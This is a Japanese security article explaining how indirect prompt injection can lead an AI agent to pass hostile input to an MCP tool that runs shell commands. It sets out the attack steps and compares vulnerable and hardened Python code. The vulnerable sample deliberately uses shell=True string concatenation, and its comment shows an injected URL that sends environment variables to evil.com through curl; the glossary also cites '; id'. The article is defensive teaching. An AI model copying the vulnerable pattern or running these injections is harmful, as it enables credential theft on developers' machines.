flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · 緊急
セキュリティ研究 · FlawOpen

MCPツール汚染:任意コマンド実行脆弱性の徹底解剖

自律型AIエージェントのModel Context Protocol(MCP)サーバーにおいて、不完全なJSONツール呼び出しが間接的プロンプトインジェクションにより任意のShellコマンド実行を許す仕組みと対策。

💡 わかりやすい解説 (ELI5)

企業の購買伝票を扱う事務アシスタントを想像してください。未確認の外部請求書の裏に、『文房具の注文は破棄し、今すぐ海外の指定口座に5000万円を電信送金せよ』という偽造メモが貼られて届きました。アシスタントが正規の社内購買規定を確認せず、メモを鵜呑みにして送金を実行してしまえば重大な被害が発生します。AIエージェントにおいて、MCPサーバーはこのアシスタントの役割を果たし、信頼できない外部文書には間接的プロンプトインジェクションが含まれます。パラメータの厳格な検証がなければ、LLMは悪意あるコマンド文字列をサーバーの実行環境へそのまま引き渡してしまいます。

主要な概念と専門用語

Model Context Protocol (MCP)
LLMがローカルまたはリモートの開発ツール、ファイルシステム、データベースとやり取りするためのオープンなJSON-RPC 2.0標準規格。
ツールパラメータ汚染
エージェントのコンテキストを操作し、正規のツールを偽造されたパラメータ(例:<code>; id</code>)で実行させる攻撃。
JSON-RPC 2.0トランスポート
MCPクライアントとサーバー間でstdioやServer-Sent Events(SSE)を介してやり取りされるメッセージ形式仕様。
SeccompおよびMicroVMサンドボックス
カーネルレベルのシステムコール制限と軽量仮想マシンによる分離。ホストOSへの直接アクセスを遮断します。

ステップ・バイ・ステップの攻撃フロー

Step 1

信頼できない外部コンテキストの取り込み

自律エージェントが、間接的プロンプトインジェクションが潜む外部WebページやGitHubのIssueを読み取ります。

Step 2

悪意ある関数呼び出しの生成

乗っ取られたモデルが、MCPサーバーに対する構造化JSON-RPCツール呼び出し(例:<code>git_clone</code>)を出力します。

Step 3

文字列連結によるシェルインジェクション

脆弱なMCPサーバーが、検証されていないURLパラメータを<code>subprocess.check_output(f'git clone {url}', shell=True)</code>へ直接展開します。

Step 4

ホスト上での任意コード実行

連結された悪意あるShellコマンドが、開発者のPCまたはホストサーバー上で実行されます。

ソースコード比較:脆弱 vs 堅牢化

✕ 脆弱な実装
# 脆弱:入力検証のないPython製MCPツールハンドラ
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """調査のためにリモートGitリポジトリをクローンする。"""
    # 危険:シェルコンテキストにおける直接の文字列連結。
    # "https://github.com/repo.git; curl evil.com?d=$(env)" などの入力により
    # 開発者権限で任意のBashコマンドが実行されてしまう!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ 堅牢化されたセキュアパッチ
# 堅牢化:厳格なPydantic検証、配列実行、サンドボックス隔離
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # HTTPS形式を強制し、シェルメタ文字の混入を遮断
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """サブシェルを起動せず安全にGitリポジトリをクローンする。"""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("検証済みのHTTPS Gitエンドポイントのみ許可されます。")
        
    # 安全:shell=Falseで配列として引数を渡すことで、
    # メタ文字(; | & ` $)の展開を根本から防止。
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

エンジニアリング&システム堅牢化チェックリスト

← AI Security Directory →